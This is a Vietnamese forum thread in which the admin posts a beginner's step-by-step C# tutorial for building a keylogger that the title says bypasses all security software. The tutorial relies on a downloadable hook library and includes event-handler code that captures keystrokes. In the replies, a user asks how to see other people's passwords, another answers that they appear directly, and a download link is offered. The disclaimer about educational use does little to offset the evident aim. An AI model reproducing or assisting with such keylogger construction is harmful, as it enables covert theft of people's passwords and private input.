Đăng Nhập

Vui lòng khai báo chính xác tên truy cập và mật khẩu!

Quên mật khẩu?

    Tự viết Keylogger qua mặt mọi phần mềm Security (^^)

      Admin
      Admin

      Giới tính : Nam

      Đến từ : TPHCM

      Ngày Tham gia : 03/04/2011

      Tổng số bài gửi : 2292

      #1

       Wed May 30, 2012 7:35 pm

      Trước hết bài viết này chỉ nhằm mục đích chia sẻ kiến thức phục vụ cho việc nghiên cứu học hỏi. Tất nhiên code này bất kỳ ai cũng có thể sử dụng nhưng hãy dùng nó vào mục đích tốt thay vì dùng nó với ý đồ xấu, cũng như 1 người cầm súng trong tay, anh ta sẽ sử dụng với mục đích tốt hay xấu còn tuỳ vào con người.
      Trong bài này tôi sẽ nói 1 cách đơn giản nhất để 1 người không am hiểu lập trình cũng có thể làm theo và thành công. Cũng là bài viết đánh dấu chuỗi bài viết các Application đơn giản bằng C# dành cho các bạn mới bắt đầu tìm hiểu, rất hi vọng sẽ đủ để thu hút thêm nhiều bạn đến với Công Nghệ. Chân thành cám ơn sự ủng hộ của mọi người!
      Ứng dụng viết trên nền Netframework 2.0 trở lên. Ở đây tôi sử dụng NFW 3.5, viết bằng ngôn ngữ C# trên Visual studio 2008 phiên bản Team System.

      Để đơn giản hóa code chương trình và dễ dàng cho các bạn Newbie tôi viết sẵn 1 thư viện Hock.dll, các bạn tải thư viện này về tại đây
      [You must be registered and logged in to see this link.]Tự viết Keylogger qua mặt mọi phần mềm Security (^^) 4cfbadf1_51be17a5_1Trong khung Solution Explorer (thưởng ở bên phải) bạn click vào Form1 nhấn F2 để đổi tên thành klgForm :Tự viết Keylogger qua mặt mọi phần mềm Security (^^) 4cfbadf2_33fd376b_2
      Nhấn chuột phải vào klgForm chọn View code, sau đó bôi đen chữ Form1 và lại nhấn F2 đổi tên nó tiếp ^^ :Tự viết Keylogger qua mặt mọi phần mềm Security (^^) 4cfbadf2_2b6b5ba2_3Tự viết Keylogger qua mặt mọi phần mềm Security (^^) 4cfbadf3_7fd00bfd_4Tự viết Keylogger qua mặt mọi phần mềm Security (^^) 4cfbadf4_4c97e1cc_5

      Click chuột phải vào References bên khung Solution Explorer chọn Add Reference... :
      Tự viết Keylogger qua mặt mọi phần mềm Security (^^) 4cfbadf5_3d390c74_6

      Browse đến file Hook.dll đã down về lúc nãy và nhấn OK để add thêm thành phần quan trọng này vào :
      Tự viết Keylogger qua mặt mọi phần mềm Security (^^) 4cfbadf6_7c29005e_7
      Sau khi add thành công sẽ thấy có thư viện Hock ở mục References :Tự viết Keylogger qua mặt mọi phần mềm Security (^^) 4cfbadf6_4ba50e74_8
      Thêm các dòng sau vào phần đầu tiên của code (chỗ có mấy chữ using ý )
      Code:
      using diendan.goonline.vn_Hock;
      using System.Diagnostics;
      Tự viết Keylogger qua mặt mọi phần mềm Security (^^) 4cfbadf7_1d973dc5_9Nhấn vào klgForm.cs bên khung Solution Explorer sẽ thấy giao diện design của chương trình Keylog định viết, tất nhiên là chưa có gì ^^. Sử dụng các công cụ có sẵn ở Toolbox (thường là bên trái), kéo thả để tạo 1 giao diện tương tự như sau :Tự viết Keylogger qua mặt mọi phần mềm Security (^^) 4cfbadf8_3e5a9055_10
      Nhớ đặt tên như trong hình trên để tiện code nhé, nếu quen rồi thì để tên sao cũng được.
      Rồi xong rồi đấy, nhấn F5 chạy thử xem sao ^^
      Không có gì phải không vậy gõ tiếp đoạn sau thật chính xác vào phần code chương trình nào :

      Code:
      eylogger kl = new Keylogger();
              private void cbKeyloggerActive_CheckedChanged(object sender, EventArgs e)
              {
                  if (cbKeyloggerActive.Checked)
                  {
                      kl.Enabled = true;
                  }
                  else
                  {
                      kl.Enabled = false;
                  }
              }

              private void rbHooks_CheckedChanged(object sender, EventArgs e)
              {
                  if (rbHooks.Checked)
                  {
                      kl.Keylogger_Mode = Keylogger.Keylogger_Modes.Hooks;
                  }
                  else
                  {
                      kl.Keylogger_Mode = Keylogger.Keylogger_Modes.Polling;
                  }
              }

              private void kl_VKCodeDown(int vkcode)
              {
                  textBox2.Text += " [+" + vkcode.ToString() + "]";
              }

              private void kl_VKCodeUp(int vkcode)
              {
                  textBox2.Text += " [-" + vkcode.ToString() + "]";
              }

              private void kl_VKCodeAsStringDown(string value, bool isChar)
              {
                  String result = value;

                  if (!isChar)
                      result = "[+" + result + "]";

                  textBox1.Text += result;
              }

              private void kl_VKCodeAsStringUp(string value, bool isChar)
              {
                  if (isChar)
                      return;

                  String result = value;

                  if (!isChar)
                      result = "[-" + result + "]";

                  textBox1.Text += result;
              }
      Không muốn gõ thì Copy and paste cũng chẳng sao
      Nhưng phải lưu ý là paste đúng vị trí nhé, quan trọng lắm đấy, paste sai là không chạy. Paste sau hàm klgForm() :Tự viết Keylogger qua mặt mọi phần mềm Security (^^) 4cfbba90_3c165cac_0


      Giờ quay sang bên khung design, chọn cbKeyloggerActive (cái CheckBox Active lúc nãy đã tạo) :Tự viết Keylogger qua mặt mọi phần mềm Security (^^) 4cfbbbef_5ed3e0bd_14


      Bên khung Properties nhấn vào biểu tượng tia sét để chọn Event cho Checkbox này như trong hình sau :
      Tự viết Keylogger qua mặt mọi phần mềm Security (^^) 4cfbae3b_21f6ae28_11Tự viết Keylogger qua mặt mọi phần mềm Security (^^) 4cfbae3c_5400dcf1_12Tự viết Keylogger qua mặt mọi phần mềm Security (^^) 4cfbbcf9_0c035f20_15
      Trung Binh
      kjno

      Giới tính : Nam

      Tuổi : 27

      Đến từ : Sài Gòn

      Ngày Tham gia : 21/07/2012

      Tổng số bài gửi : 19

      #2

       Thu Aug 09, 2012 5:53 pm

      Cái new Project đó mở sao a
      Tony Stark

      Giới tính : Nam

      Tuổi : 31

      Đến từ : Cần thơ

      Ngày Tham gia : 10/01/2012

      Tổng số bài gửi : 750

      #3

       Thu Aug 09, 2012 5:57 pm

      học C đi keylog viết = C mới mạnh
      Trung Binh
      kokain

      Giới tính : Nam

      Tuổi : 29

      Đến từ : sdsadsads

      Ngày Tham gia : 09/03/2012

      Tổng số bài gửi : 50

      #4

       Sun Aug 12, 2012 6:34 pm

      ec rồi làm sao để có thể thấy đc pass của ng ta
      Tony Stark

      Giới tính : Nam

      Tuổi : 31

      Đến từ : Cần thơ

      Ngày Tham gia : 10/01/2012

      Tổng số bài gửi : 750

      #5

       Tue Aug 14, 2012 10:42 am

      nó hiện luôn mà :>
      Trung Binh
      hoainamcx

      Giới tính : Nam

      Tuổi : 28

      Đến từ : Hà tĩnh

      Ngày Tham gia : 25/05/2012

      Tổng số bài gửi : 28

      #6

       Fri Aug 24, 2012 4:47 pm

      tải [You must be registered and logged in to see this link.]
      #7